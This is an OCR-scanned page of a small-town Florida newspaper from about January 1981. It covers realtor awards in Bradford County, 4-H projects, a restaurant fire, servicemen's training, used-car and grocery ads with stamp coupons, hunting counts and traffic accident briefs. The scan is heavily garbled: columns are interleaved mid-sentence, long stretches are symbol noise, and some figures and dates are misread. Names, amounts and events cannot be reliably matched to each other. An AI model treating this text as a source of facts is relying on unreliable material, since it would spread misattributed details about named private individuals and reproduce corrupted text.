Orange 1970-80 President Terwillegar ment and Awards. Cecelia Terwillegar for her outstanI I Golf and Country Club. Has two children, Mrs. H.A. lasted, among outstanding accomplishments October: ding work the Fred Davis,. past president of the Nelson, Jr., Keystone' Heights, and : Novis Ward and Terwillegar attended The as 1979-80 president 550 member Bradford-Clay Board, Clyde Byron Terwillegar III, Starke. program was concluded with . i Dec. 1979: FAR convention in Bal Har Christmas and past president of Multiple ListingIs a member of the First Baptist Participation and input in bour. Also in Fla. Assn, of Realtors Joey Herres music, Sherra being Molt presented I and JoAnn by Service, was master of ceremonies. Church. Bradford-Subdivision Ordinance. held 7th annual Local Board Officers: Canova. The decorations were done In presenting the award to Mrs. Ter Mrs. Godwin was "Outstanding Farmers Home Adm. opened officein Leadership Conference, Oct 2729. by Roberts. willegar, Davis said, "Certainly this Club Woman (of f the Year" in 1963 and historic Courthouse with Sen. Stone Orlando. Pearson, Odom, Starling, ...Nancy....--, ........... ---_.- award is deserving for outstanding her service as president of the club in attending.Feb. Faulkner and Terwillegar attended. 'VI service and contribution to her com1966 when the Starke Juniors received 14, 1980: New officers were elected for 1981. M munity and to the real estate profes- recognition as the Outstanding Junior Bradford-Union received Charteras November: 1 sion. Women's Club in Florida for. their Florida's 84th and youngest board. Conducted our own Orientationclass. Mrs.Terwillegar's contributions inmembership.. Pres. FAR Parker Banzhaf, George i elude: Mrs. Godwin lias been active in Linville, Dist. 1 Vice Pres., William President Terwillegar awarded I First President Bradford-Union several charities, particularly, the Lippold Ex. Vice-Pres. FAR. Certificates of Appreciation to: J.E. County Board of Realtors, Inc. March of Dimes, serving as Mothers' Virginia Bishop Chairman Fla. Real Tomlinson, Jimmy Alvarez, Harold Florida Assn. of Realtors State March Chairman for several years; Estate Board; Fred David and 135:>> Davis, Jerome Johns, J.J. Wolbert, Equal Opportunity Committee. she also( served on the Gateway Girl friends attended. Fred Davis, George Roberts, Ralph Has served 1 year on Starke ZonScout Council, was a member of the March: Bryan, Susan Faulkner, Delano ing Ie.Planning Commission, reapStarke Recreation) Board for 10 years Lillian Pearson, Vernie Odom, Thomas, Steve Simmons, Vernie H pointed for 3 years received "The Community Service Susan Faulkner and Cecilia Ter Odom, Paul Faulkner, Lillian Pear Appointed by Gov. Graham to the Award" presented by the Bradford willegar attended education caravanin son, Jane Usher Janet Starling and Governing Board Suwannee River County Chamber of Commerce and Gainesville. Also in March, Realtor! Joey Herres. Authority: she also received the 'Distinguished Associate pins were awarded: Byron Fred Davis installed officers: ',r CECELIA TERWILLEGARRealtor -Terwillegar Realty has been Service Award" presented by the Terwillegar, Martha Dorko, Sally Pres. Lillian Pearson, Vice President ' established 6 years; member Starke Jaycees. Killian, Vickie Norman Novis Ward, Vernie Odom, Secretary Janet Starl- of Year Bradford-Clay Board 7 years' ; and Mrs. Godwin is an associate with Sylvia Reddish Vickie Powell and ing, Treasurer Susan Faulkner, member of Farm & Land Institute. Century 21 Roberts Real Estate and Ann Rieske. Associate Ann Godwin, Board Fourth, Third, Second, First Vicehas served in this capacity for the last April: Members, Terwillegar, Ralph Bryan Late RegistrationSet Pres. Starke Woman's Club, served three years. In addition to( her real Educational Booth at Fair; Clay- and Delano Thomas. Harriet Maines, At SFCC as treasurer twice. estate she works in insurance with Bradford Fun Day at Starke Golf & Lake Butler will also be a Board ANN GODWIN I V Pres.St.Mark'sEpiscopal Women Roberts Insurance Agency. Country Club and Private Property Member. Associate! Realtor of Year : There is still time to( register for the 6 years, served on vestry 3 years. The program began with Christmas Week with Property Improvement ' Santa Fe Community College Winter District vice-pres. Episcopal. ,Women music by Joey Herres The social Contest, Janet Starling, Chairman. Ii ._ Term which runs from January 5 to( of North Fla. hour was sponsored by Fortune June: April 17. One of original founders of Starke, Federal. A banquet was followed by Susan Faulkner and Terwillegar attended / 8aTE The Santa Fe Starke Center Officein Golf & Country Club, served as first presentation of Realtor and Realtor- FAR convention at Breakers, $ Bradford High School will be open president of the Ladles Golf AssociaAssociate pins for those completing Part Beach, June 1114. "- rtggjg jgr - for late registration this Friday, Jan. tion. the Orientation Course. Vernie Odom, July: 2, from 8 a.m. to 4 p.m. and from 6 Chairman of Bradford County assisted by Gene Reese and J.J. District I Caucus in Palatka July inflation Beaters p.m. to 8 p.m. Cancer Society. : Wolbert, conducted the course. Pins 18-19 attended by Pearson and Ter- There will be a final registration on Co-founder Terwillegar Motors and certificates were presented to: willegar. Also in July, Realtors en- the opening day of class, Monday. (Ford), Sec.& Treas. 18 years Wayne Douglas, George Roberts, Al I dorsed clean-up drive sponsored by Jan. 5, from 8 a.m. to 4 p.m. and from ------ .........------..----.. .............-----.-... All one Owner clean cars 6 p.m. to 8 p.m. " No appointment is necessary. ---------- 4-H News ------ Thirteen courses are being offered I here in Starke this term, including The Lawtey 4-H Club will be con- The'4.H Community Pride Programis FLA. THEATRE one.daytime Humanities course on structing a "Welcome to Bradford funded by Chevron, U.S.A. Chevronhas 1979 FOrd FieSta Major Religions on Monday and County" sign partially with funds it provided $43.040 during the past Starke 9645451Fri. Clearcoat Paint. AM-FM Wednesday. New offerings here are a received from state headquarters. 10 years for the Florida program in- Radio, Air and Tinted Class, wsw Tires, Heavy Duty Alt. and Lab and course in Brooker 4-H Club also received a cluding$4,500 this :year. Battery Bucket Biology with a Vinyl Seats, Tape Stripe 48,000 miles.439500. grant and intends to conduct an More than$18,000 was requested by Business Law I. Sat.&Sun. - I For more Information, please call energy program for the community; Florida clubs this year. ,, ,..$ ; , r' .. Cathy Hicks at9&fc53S2. J Green Acres.4-H Club will clean a,...__.Jorida.3..2.fUa,4rtt--.Clubsare' : ".. V '- 4rr local cemetery. ministered by the Cooperative Extension Clubs throughout the state submit Service of University of Florida's Audio,there was . Skeeters Old Site community project proposals; to head- IFAS and locally by the Bradford =-- .&: ... . quarters in Gainesville each County Extension Service located in another movie.. 0 : .. Has Another FireA November and are evaluated and the Bradford County Agricultural funded according to the idea's merit Building in Starke new fire was put out at Skeeter'sBig and feasibility. Contact Lowell Parrish, 4-H Agent, OH GOD! Biscuit and Back Door Lounge on Some 74 Florida 4-H Clubs appliedthis at 964-6280, ext 224, for more information. 1977 Pontiac Gran Prix SJ Power , US-301 about a mile south of Starke. 67 clubs in 32 counties ., year; Monday, Dec. 22,. marked the sixth received partial.funding for their pro- BOOK II Windows, Power Driver Seat Power Door Locks, Tilt Wheel, .. or seventh time members of the Brad- jects."We're. Cruise control, Vinyl Roof, AM-FM stereo 8 Track, Rally II '"t ford County Volunteer Fire Depart- teaching them to like their Theft Nets Wheels 41,000 miles. ment has been called to the communities," Ruth Milton, Univer- 5 Year TermA I $419500 . i restaurant and lounge since the property sity of Florida associate professor, In- GEORGE BURNS ' 1 was damaged by fire last Nov. stitute of Food and Agricultural Lawtey man has been sentenced 'i't! ; 3. according to a spokesman for the Sciences and the state 4-H youth programs to five years in state prison for grand SHOWTIMES: BCVFD. coordinator, said. "If we can theft by Circuit Court Judge R.A. Green,Jr. in Bradford Circuit Fri.7:10: & 8:55: County . The spokesman indicated the fire teach them the process of wOrking was minor, and the fire departmenthad with others to improve and appreciate Court, Monday December 22. Sat. & Sun- 5:30: 7:10: & 8:55: V 1979 Ford Courier it under control shortly after it their communities, we are Archie Crews. 28, of Lawtey 2300 C.C. engine, was reported. doing" a great service. That is our Dec.received 22, for the grand prison theft( term of a televisionset Monday Auto. Trans., 7' Bed, Air cond., Tinted Class AM Radio, Tape she continued. ? Records show the latest fire goal and sewing machine from the stripes, step Bumper, 24,000 miles. ., resulted from demolition! work earlier from 4-H'ers individuals secure the of rest the community of the tunds Starke home of Harold Foster on Jan 301 DRIVE $ 519500 used in in the day when torches were 6, 1979. removing some steel joists. The local governments and businesses. Fri., Sat. Sun. & Mon. spokesman indicated similar work ... z . has caused other fires since the - [g] ' original blaze. '- The restaurant and lounge have : =:AJ"'I. been closed since the' original fire. two months ago. - ServicemenPFC'Theodore F. Greenly U.S. Ar- THOMAS METALS: INC. 1975 Audi FOX wagon Auto. Trans.. my, completed 7.2 weeks of Basic Air cond., Tinted Class, Radial Tires, AM-FM, cassette Training PFC Greenly Dec. 6 at Fort was Gordon awarded Ga. Stereo, All Vinyl Interior, cruise Control, 55,000 miles A Marksman Medal on the weapon Metal Culvert Pipes For Driveways And Drainage Legitimate Cream Puff! $ gf QEZOO range with the M-16A1, and expert ' medal for the hand grenade range. Specializing Mitered! End Sections And Elbows ,( Out of .215 trainees assigned to C Company. PFC Greenly was selectedas PLUS* Number One Trainee and receiveda Buy Direct From Manufacturer And Save 1980 FOrd COUrier letter of commendation for GONG SHOW 2300 C.C. Engine 4 demonstrated performance of duty. FREE'DELIVERY speed Trans., 7' Bed, Tape Stripes. AM-FM stereo, Step PFC Greenly resides in Lawtey and Lake Butler Fla, 496.2013 MOVIE Bumper. Bed Liner and Tonneau cover 14,000 miles. graduated from BHS June 1900. .. $529500 ,i .L._ l. 1 EBEI WZA : INSULATIONBuy .. One Get Ono FREE SA VE'THAT ENERGY With This_ Coupon Eat In or Carry Out "V VVJL* : .. r, 1 C.C.'I''I Offer thru I. I ,t.XV ,f5*.Ji 1977 Ford CourierX1.1'' 2300 'ftX.'iOLM Jan. I ,. ..It.tt !' ..', Engine. Auto Trans., 7' Bed. Tinted ,Class, AM-FM Radio, _ ; ***. Step Bumper 38.000 miles. I $399500TERWILLEURMOTO.R1 _. \\ : . II' 'I : ,; :.;__'."''C --..; I ? HOME,:"-.COMMERCIAL INDUSTRIAL - I Pe. 1 e HIGH VALUE CELLULOSE J - F"mly,' Only 301 S. Starke 964-6877 I e FIBERGLAS BATTS FRAME HOUSE EXTERIOR I FREE ESTIMATES INSULATION' r GLADLY GIVEN NEW OR OLD CONSTRUCTION! ,. . 118\' sERvma. BREAKFAST af LITTLE' ITALY ( WO/RADA QUALITY: INSTALLATION"fNSUlArONCON7NACTOA3 ; : : t' 7 a.m.i'" 1-t'.! ,a.m COI.OHIEII.r" : SAVE SAVE . SPECIAL I 964.6956 I ON COOLING ' ON HEATING 206 W. Madison 964.7200'Starke Fla.T Sausage Gravy (homecnado Biscuits, 2 Eggs Grits Qlc d : . ''DEAN : V?. :::21 : CASSELSJNSULATION ; Tomatoes Strawberry Preserves or Apple Butter *1B ,, 'j 1 .. a l , d 9 i ii i ., t'" ._ ____._, ._ .. ... _. ._ __ .----------1 i __.. _. '" ,_ _... ....._.... ._. .. ._. _._ .. .-- -..-.-.-. -,_. _.___"..__ .. ._.._ ,- ----r.., ... _ ...... . . I ... 1R' n 19 D 1 1 to { D a Ala xl D 1 'i IN It { D . ' J I $A soc : D \ ,, ,1fEI 6 r DEFT S0 1 R BEY ''TBRlm d MAID ;(LO.ROX1 ,ICE MILK c N' B I MgwYUNlUI I qa ., +' E1 0 C : ''E IE 1p dALLON /mlia QT. aFIroR il LI il 1 o' aroi I j HALF t'D' D JUa I DO JAR t / PK4, il D f 6ALLCN aA10/ ,ita / Na awR ItOUPDN 6000 JAN.'I+1 f p [OUPON GOOD 1AN.1-1. COIIPON,000D JAN.1 1'' CDUPON GOOD.JAN.9. T, / I DI I D D ' D ... r.w.. Ao roioR.. olR elAwrwsrwrw...rrw111a. ..irr.roaRns.w.oruwwrrr ww'O.r wlil.A.RSwsrw rroe.wlo Lawasie+lw. QUANTITY RIGHTS RESERVEDWINNDIXIE A w1 STORES, INC. S Ty / 1,[ r COpYAKsMT-1981 r ( r .T r { 1 0 4 ', I I ,, a PRICES GOOD THURS. WED., JAN. 1-7 ' ' MIX OR MATCH eEEF PEGP IOrli ai4 THRIFTY MAID "'' . xM ; W-D BRAND T ' VE TOMATOES USDA CHOICE "FROM THE HEART OF THE NUCK" i CUT GREEN BEANS or f BONELESSCHUCK '- LARGE SWEET PEAS 4 BLUE BAY 1. ,' ''MA''" OO ROAST LIGHT CHUNK 16.0:. TUNA CANS 1 $99 Limit 4 of oath with or more purchase .xcl. clg*. \ SAVE SAVE 48 ON FOUR C IB. 60V ----..... -.. 6oz. -- ...,.-=;::::- = - -- -- CAN -= . -- -: Limit 4 with $7.90 or I,0 W-D BRAND mar purchaM .KC|. lgt.. 1 USDA CHOICE BONE IN -= t--: ==-- '" N.Y. STRIP STEAKSC FROM THE BEEF PEOPLE ) , - :- '' ., ,. .W-O WIND.USDA JCHOICE BEEF>4ATUBALUV AGED UADE. .n ..... - .. $ .. 10 99t., \ : ., n fit. :':.: ,+ CHUCK'_ROAST jj( i,"i '. 2 < t;.. $1, ': t. C 'DROCERY_ !'EC ALSrJ) "'. .... !: .t' ;:J IN o ,; ,I'J I 'J 'WG.DRUAOU' FUR.!HANOI PAW K.t-3( 5,'10 IRS !fe '\II ;; BHF . . L $ d HICKORY SMOKED MEAT CURED WATER ADDED THRIFTY MAID API'll...... C THRIFTY MAID TOMATO -. c LB. SHANK PORTION" HAM I u. *1", Juice SlZI 99 Juice . CANCAN 69 PINKY PIG FRESH QUARTER SLICED ASSORTED THRIFTY MAID APPLESauce THRIFTY MAID STEWEDTomatoes SAVE ')'old + PORK CHOPS' . . *1 159 . w 99c 2 s 8Se -- _ REDI MAID CHERRY THRIFTY MAID leANS A __ ECONOMY PAK((51UI MADE AND 3 SIRLOIN) W-D BRAND REGULAR 1 Pie Riling 99c Chili i . Ii::: 69c -- .-,-? l----" Pork Chops u *139 Franks . Vter 1") '. THRIFTY MAID PINEAFflE CRACKIN' GOODSaltines / USDA GRADE! 'A'fRESH/MIXED SUNNYLAND PORK ROLL MILD b HOT . Juice 99c ;K'-J- 59c ;? ," im / Fryer Parts Lt.69c Sausage. u. $))39 , HUE IAV. PINK CRACKIM' GOOD GEORGIA 1TR1 USDA GlADE'A FRESH SEA TREASURE HEAT SEAVESaban I 15 $179 Crackers 1 Inca: 79c C ,r- te.... CANSASTO* Fryer Thighs LA.99c Fish Sticks :K+3:: $199 FRUIT COCKTAIL W-D BRAND ENDUSS SMOKED USDA CHOICE FRESH WHOLE 1.... CANS THRIFTY MAID NAIVE OK " : 0' Lamb . SLICED PEACHES SSUSGJIG LA. Leg L' $299. ( '; 14-M. CANS TMUFTY MAID . rnri I OARTLETT PEARS UE MII 4-0*. CANS THRIFTY MAID STEM PIECES wTyM . MUSHROOMS '! fie MIX l IS-wu CANS 1..-..CANS $100 OR MATCR THRIFTY MAID THRIFTY MAID MIXID 2 I..... CANS .o %-... CANS KIDNEY ES THRIFTY THRIFTY its ..-... CAN'VlltEI CANS Sliced Tomato Sup THRIFTY MAID THRIFTY MAID SLICIOCARROTS *-..CANS lOtt-ol.CANS PORK & BEANS IMBirTY MAltTNRFTY MAIDVegetable .... ToBiato Paste Soup ' Iwo CANS !* CANS THRIFTY " THRIFTY" MAID MAID FRINCM STYLE ... I THRIFTY MAID THRIFTY.MAID CORN GREEN BEANS U-.*. CANS .s... CANS SAVE 30 Tomato Sauce Mushroom Soup . maim MAID OAROIN THRIFTY MAIC OLD THRIFTY MAID I OVS.... CANS, GREEN UMAS TOMATO SAUCE . MILWAUKEESUPERBRAND' Chicken Noodle Soup : 3 FOR $100 6'ACK$179 BEER. =r=|1'1,*J___*_ '4 FOR. $1'0'0 'i:f' ..-. ',. --.. :::--- --. o -- -' :- __ .=: 1 -: _-__ r ,.1."" ' ! C HARVEST FRESH PRODUCT) '\ C FROZEN! FOOD CONVENIENCE ) '.'f J- CHILLED , . DELiaOUS EASTERN RED APPLES '1.1 ,rot '>MM; T ORANGE JUICE ',/ MORTON FROZINPIES ,$ t I" I 4. HARVEST FRESH 'r POT . : ORANGES. '. 99e i { 4 .1'2"9" . . '. 3 " i 8oz.SIZE." r HARVEST D'ANJOU FRESH PEARS> .,.. ..6'. ..toI, .*l 100 ". C": -. : : ; ; ' : I t !rriG. ,tt. iG:''.r GREEN CABBAGE ..v2o,88HARVEST :.: ,< HALF, -. : I? MINIUTSMAO' 'SHOl+ srI INO' ;:". rOimae '' ' y19'LETTUCE , FRESH '. . 2 MlAO!.79* ', ;. GALLON < ,I ', ,;, II i ce 14.CAN 89 Potatoes, ?! .,. .* '. f Or.3.9c, I I .: '. H.uvEST'IESH '. rv..I"". <: ,'I : ouoANrt{GLAZED. liar DIXIAI>f't: 'J. ')vi ( ', MUSHROOMS .'. . :.. 99f'I:; r 1 -I U.S.Na 1 .. +:+ ,1 ."MII + . AUPUII'UVlNT"Ue 1 ''t1 t' ,: i; ; 'DlxuNa. dl N [ t POTATO S :' .y"r. J:;fSln'u, ,1 i ilf : ''l .'1 ", ., ;J. 1 \ IA .t-"or"f. .:. 2h1lZ.k $129, ,. 2...... \119 \ .IIJ " .. 5 .. .!. .,. .. <<11 1 :---- '" 1'h ; Ij'ly'fjt: ; \ 1 e .1-1'a S Mix&LUt_ ,.0. i . ., HAIVISTPIlfSHf i f ff tl ,: .:. .. \ to't .l'+ f'I\ QWHI ;: ,1' ", :" ,;:" :; r 01 I I d.7r} l j Id t ' t :1 t' CARROTS' '!JBP. ,. <. 3 : 11 l'A, ) .4,1: p N .j. -;;.-:' ? .h ; ;.' i d l l !i'L 01 : t&1 J " .I.; : \ 1 .;: I, r t : I:L ?/ :f/i" : t : 2. i'I.I' 'rpe Sn $ ,t'iKO'' $132 iiEx ;('1:>''in J1HI.I t:'1'4''' '';.I..n' :;.ytfi'::a.;:'."I:':' .Ilitj.nt.t'". }. '' ,. t>.1 to.t".1 jtUf11.: -. '. 'i1!tLtf 1 W t.,t'; \t ti H.t r 4t4' #::i!.m' L".4 l:t 7.l.{U:;..l\ifi'l'l.;:-:}:.:<- .. i. l l..\, :;if '. ' . . .....;, ....".." .,',."' ,.) .J .," ..' .:.,.. ..\ I.. '. ::" :'1 .. . .. ., 04 tt l t.i. r ' : .A4. ::+ .J.Ot, "IiiBFy.iM.YI: +.wPF.: I ; } ;. " ..,' L"' :> \: 0 : .... .. _'.r..'<:'! \.-il' _._ ___ __ \ih'j." ".- 1 L -II" .",", J 4 4. I. .. . 4 ,-_.. -.- - .. .,I .. .- .." .. ... ... WI _ =w--'J. ..... ,r I T ,. fiI' 110... .r \ i J + t hI JI 4I11b".i 5 I II I I J II d'' ?( IJII I i 'M, rn I'.t' I ', tt 1 iIME1n1 h 1.al 1 ANOTftR rTh I ii, . .'J . f ' .'. ,r . \ QTAP ,,.,.1'Ie . I .. S ,, : ;':;::: : ' , ( flO54.NA . ? / i ', tiF . I:: : eEEF PEOP -C '' it FEDERAL FOOD COUPONS GOOD I .5 STAMPS THURS. WED., 5 5 5 JANUARY 1-7 r 2i g'' IXT'RA 500 EXTRA ir, 0 A UvAUJE TOP VALUE STAMPS Sri WITH THIS Coin AND A 15" OR MORE FOOD ORDER. VIP Tp pJ'' I VALUE TOP rr; ,COUPON JANUARY GOOD THURS.-WED.1-7 ;:.. AMA IpJS Li } z _--__-_.E>e_m_-__-_--_____-__- ___________ /_/a///. -/._--_!1S9.._-/-_._-/___//__ ____/____.//Dg -il------------------. r r 200 Extra = 200 &tra = 100 Extra 100 Extra r = TOP VALUE STAMPS TOP VALUE STAMPS TOP VALUE STAMPS TOP VALUE STAMPS WItH THE PUtIIASE OF WItH THE PUIOWI Of III WITH THE fUKMASf OF WITH. THE PUICHASI Of ONE !PACK PACKun'BULBS ONE! 3O-Ga. CAN ONE! BOX 1338oj.PIZZA _1-01. JAR . ASTOItI r-I CHEF ! 'I IN3TAIIT COFFEE = COFFEE CREAMER \ MIX ; COUPON GOO JAN. 1.7 COUPON q e COUPON 0000 JAN. 1-7 d1PON 0000 IAN. 1.7 ... ::1= I. ". ...'.---.............---------------.1- I I.1 ........es...s. ---- ---- -- ------- - - e : 100 Extra. I .R 100 Extra 100 Extra .100. Extrai ; TOP VALUE STAMPS'iW11N SB, -TOP VALUE STAMPS. 1i WIT VALUE STAMPS t,' r TOP VALUE STAMPSU' IJ.. 1Nt PUIOtASE OF" ,' WlIM THE PUlCtlASE 1 1ME NJKIUSC OF I PUlCHASE OF p ONE CAN 12-o>I. M ONE laIC 1211(. ONE ITL 26-oz. DINE YIAG 12-0.. AJJtOUItTREET NIS1l! LOG CABIN NEsnE I, COCOA MIX. I. SYRUP .S MORSEU COUPON GOOD JAN 1-7 r. COUPON GOOD J",. 1.7 COUPON GOOD JAN 1-7 COUPON' GOOD jAN 1-7 II R w----------------- mmmmmmmmmmu I.I'!!.................. . . . . . . 100 Extra 100 Extra 100 Extra 100 Extra = .8 TOP\laLUIE ova TOP- VALUE STAMPS TOP VALUE STAMPS TOP VALUE STAMPS . WI1H IMI PUIOtASE wmt JHi PulcHASE; Cf WITH THE PVIOUSE OF WITH THE ftJICHMI Of II ONE 2-1.1. CAN ONE 101 100-CT. ONE!GALLON SIZE! r ONE aTL 15-0. RTL . 'IS! QUICK NEStlE TEA 8AeSIPON I WISX .. PINE!SCENT r I!EI GouroroEooaD . I: JAN. 1.7r 0000 JAN. 1.7N COUPON OOOO JAN. 1:7 JAN, i-7e . . .................... .................I ..................I . . = 50 Extra 50 tDra 50 EztraTOP 50 Extra = 'II TOP VALUE STAMPS r TOP VALUE STAMPS LUE STAMPS 8. I TOW VALUE STAMPS II WITH THE 'IOtASE' OF WITH THE PUKHASE OF WITH THE rUKHASE/ OF tHE PUICHASE/ Of ONE lOX 100' ONE BTl. 24-o:. ONE! BOX 7-os. ONE!CAN 46-0.. . CUTR"I HUNTS STOVE TOf . r ' WAX PAPER b KETCHUP DRESSINGCOUfON = p % HIWAlI.lI. PUNCH I . COUPON aooo JAN. 1.7 COUPON OOOO JAN. 1-7 GOOD JAN. 1.7 FHJ COUPON 0000 JAN. 1-7 . . -////----a-es-- EI EEISY / //. ._.'......_.....''M EsS I .................=I w------------------. . 100 Extra a 100 Extra ,, 100 Extra =. IOO Extra TOP VALUE STAMPSWITH r TOP VALUE STAMPS ''I III TOP VALUE STAMPS N TOP VALUE STAMPS THE PUKHASE OF WITJf THI PUIOWI OF r WITH THE PUKKAH: OF WITH THE PUECHASE Of ONE 14B. PKO. / ONE:9dIS (12 QU. LaS.) I ONE! 1-U. PKO.W-O MAND W-D BRAND DINNER I WOO RAND I REGULAR OR TMQC SLICED WOO STAB r D FRANKS REEF PATTIEA I BOL03HUCOUPON COUPON' OOOO JAN. 1.7 I COUPON 0000 JAN. 1.7 OOOO JAM. 1-7 COUPON DOOR JAN. 1.7 I e r i I .................... ................. .- i . r . '100 Extra '100. Extra 100 ExtraTOP = 100 Extra. '. C 0 = TOP VALUE STAMPS TOP, VALUE STAMPS VALUE STAMPS TOP VALUE STAMPS a. ' WItH 1If1 PUIIOUSI 011 WITH 1M1 PWOWI OF WITH THE PUKIUU OF WI1H THE PUIOIASE Of ' ONE 4-US.. 011 MOlt!! ANY PKQ JO-ox. PKO.CHOPPED. 5-0&. 1"1(0. N . PIG MAIM $HAWS .f '. Pox aAEST I I I CESEcouPON I CLARK STEAKS( DEVILED cua .... ; . . . II COUPON OOCD JAH. 1.7 0000 JAM. 1.7 COUPON OOOO JAN. 1-7 OOCIO ,,,,.. 1.1. r " I R H . I . -------- -- -- -- -, --- --- . -----------sD----s---.....---.....///TES--Es/-----ES-a/-/a------------oE1SEm-- ;- "r' ..'I 1.. " 1 ''' , : ' F' .- )' N.a , w 'arr l t I ,C i tr 1ji.i iI I , I... ,, .' I t: ", . ,_ .. -1--- ._ __ 0 -- .- '. ..:..-.- -- -..:. :; ', ' ._ __ ..... "" .... ,,-- -n.- r ,Iy & --L- . -;; -; ._ ".'0'" \. ...-- '- " " -- i'I " : " -r.r.r ., , f- d "" )'' ,4'\.J'J\ - ", I" "I.n\'r..I. - / : pu .\. f' V I ," ' 't' : ,'" t' '. t \ ,. I ' \ \ " "( .I' .. 1\ "I.lt'WllNjdll\U.I.' \ < 4It.4.U..tI. " :; '! '\\I..I' ,",W"" ; i !< i. :.P.II F ? It.OtH'U' ll ; I. H.ut.It ,.i".t ft .. .JI fW" ,,.\.. "i .. . Pu (eIB January, IOHI \ \ \ ( r \ ft I..t. ... ....; ... II d' 1 .I.I .. I ." ,', ..1 .. .<..._ ,.' "); :. .. .-"I I..t.--. '4.'o_ ... ... .. I..r 4Ski I' _. .fI' ; . _'.t'I -" ,- T"F, . ... .. -....-. -- 1.. .. _. : '::.: ,'Hj 'i' c 't '1'' : : :, > : 'f '4f 1jff ,, p ,\ \ 'j'- "" : T: !iwmr ? ; l: " Trip. Still |M F< ": HuntetU! ; t'BI"'I' .\ II Tcr s. : ;< r. ,. ( ;jJ.\l ((8" : \ \ g ws . i, ; Briej Has opnhig ,. l ; : \; ...... : : Pass f D jY : : &}ivlc .rn. J, . 1979 .Il I Spots are still available; fort the sick trip (o North : .I. .. : : Stop Sign Run, R/W Violation , Carolina the Statke 'and Maccienny I Randolph D.Fields Recreation Cars' Collide .;:. . Departtnentbv,4annec! \ for February, Navy Seaman Recruit .' Charge in Mishap' : 20 deer were brought doWn irf file't1.l. Wan: "gVefukeiisVweelcVp'iishlng f i. the Randolph D. Fields son A Starke woman was charged with total deer kill count for the 1990-81 past-latyartotal'wlttrstill another A Starke man was charged with season : of J. Kuhne Mary running a stop sign after her car tailed The to the blowing Rock violation of right of way after his car trip slopes in the Ap week left in the open season. Starke, has completed'recruit to stop and struck another in the . palachian Mountains tyill be the weekend of Feb. 267 deer have been bagged -at BWnd./ g'ttottuflh'pundty: P MJ} 2lrsports{: training at the right side., on! SR-l()() at Thompson pulled into the path another car and ; : 13-17 with the group leaving Friday night Feb. 13, biologist Jim Garrison. That's up from tM 240 XWed< )as 4ar wiUith] j, week of ..Naval Training Center. Street in Starke at 1:20: pin Monday was involved in an accident on US-301 arriving on Saturday,skiing Saturday through) Monday Dec. through Jan. 4 yet to be counted! hj) .. UJ I I.i{ ttff ::1)) )!. < Great Lakes. 111. Dec. 22.LIIIIe. 22$ feet south of Edwards Road In . . Feb. 14-16,and returning on the 17th. Blanding closes down Sun Jay,'Jan4.;; ;|f!, {Him I } .. uf| ,Included in his studies Hannah Barnett. 62 of Starke at 3:50:: p.m. Monday, Dec. 22. 14 people can be taken from Starke said Rec. 50 deer were brought down in the.last two wJct; $.'ih. J&28. Other kill counts) were seamanship. close Starke'was not injured but damage, to Mark Dustin Box, 20, of Starke, was Director Cheryl Godwin, with nine already having for that period are: 13 hogs, 148 cat squirrels 34 fox squirrels, 46 quaIl six rabbits -' order drill Naval the 1971 Buick station wagon( she was not Injured ,but damage to the 1979 .. . signed UD. four ducks, five snipe, and one raccoon. 6,796. hunters' were counted.. in the history and first aid. driving was estimated at $L00.; Ford sedan at $400.lie was driving wasestimated . same period. A 1976 graduate of Barbara McMurtrie Gloria of of Is due 27, Terri Cochran Wilson 21 of Starkewas A deposit $60 by December to reservea Bradford Starke , School High was not injured but damage to spot. That pays for the rooms ((3 and 4 bedroom not injured but damage to the ' he joined the sedan In the 1980 Ford she Navy was driving condominiums with kitchens), The bus fare of$52.63 Spring Gobbler Hunt I .H. 1979 Ford sedan she was driving was ,. 1980. estimated September was at $300. , must be paid by January 31. CAMP BLANDING Applicationsfor and March 18-20), and all applicationsmust The Ford was eastbound on SR-100 estimated at $2,000. :.v Additional charges for ski rental and a lift ticketare ( the Florida Game and Fresh be limited to two hunters per ap Seaman Johnie Cooper when the Buick failed to stop at a stop The Wilson) car was northbound on $20 per day, or $60 for the 3 days, with paymentat Water Fish Commission's) spring gob- plication. Navy Seaman JohnieS. sign, northbound, on Thompson Street. US-301 when the Box car made a left . the ski site. The total cost of 172,65 does not include bler hunt in the Camp Blanding Hunters will be chosen) for one hunt Cooper son of Mr. The Buick then struck the Ford) in the turn onto US-301 from McDonald'sparking : : groceries. Food can be brought to cook. Wildlife Management Area will be by a random drawing conducted at and Mrs. Bob Cooper right side, according to the Starke lot and then .pulled into the : of the Wilson vehicle available December 29. Applicationsmay the Lake City regional office on has completed recruit Police Department. path accordingto be picked up in person or February 18, at 10 a.m. The public is training at the Naval Patrolman W.K. Mclntire cited< the Starke Police) Department. . .. cited Box Patrolman W.K. Mclntire telephone requests will be accepted at Invited to aHend.Applications Training Center Orlan' Barnett on the running a stop sign. . the Lake City regional office.A will not be accepted if charge. on the violation) of right of way f quota of 80 hunters has been set postmarked after February 13 1981.!) do.Included In his studies charge. WANTED for( each of the two hunts (March 1617News were seamanship, close order drill, Naval Vehicles Collide Parked Vehicle Hit : . I history and first aid. At. Bank Drive-In . Truck Driver I Briefs...... A 1978 graduate of On Call Street ; Hit & Run Charged Bradford High School, A Starke man was charged with improper A station wagon was struck by . backing after his truck backedup 10-Wheel bump he joined the in Truck In Brooker The Chevrolet was parked in a Navy another vehicle as it was parked on CollisionA into the front of a car on Jefferson Experienced only. private yard when an unknown vehicle September 1980. His ) East Call Street 9 feet south of Walnut Street 35 feet east of Clarke Street as hit and run vehicle struck a car backed Into its front and left the wife, Cassie, is the both vehicles Street at 2:45: p.m. Tuesday, Dec. 21.: were waiting to enter that was parked in a yard at a scene, according to the Florida daughter of Mr. and the drive-in windows of tile Florida Gabriel Tabak, 25 of Jacksonville. - CARDlfl BROS. Brooker residence of H.L. Tetstone at Highway Patrol. Mrs. J.F. Riddick, also Bank Starke was not injured but damage to the at at 1:34 Monday 964-6750 ,an unknown time, Thursday, Dec. 25. The mishap was investigated by of Starke. Dec.. 22.Ralph. p.m. <<' 1979 Dodge van'lIe was driving was Damage was estiinated at $150 to a Trooper W.M. Abrams with charges ftena Peeples Jr., 27 of estimated at $200. 1979 Chevrolet car owned by Sharon pending location of the hit and run Starke, was not injured and there,was Damage to a 1979 Pontiac station = :: Maria Ellis of Brooker. vehicle. no damage to the 1970 Chevrolet truck wagon owned by Harold Roberts . '" he was driving. Jones. 66, of) Brooker was. estimated . r David Eugene Dyal. 33. of Hamo- at $100. The station wagon was parked on - ton, was not injured but damage to East 'all SfwThe _ the 1979 Chevrolet sedan he was driv- van was turning I right onto l-.i; .. II Sli id and struck ing was estimated at 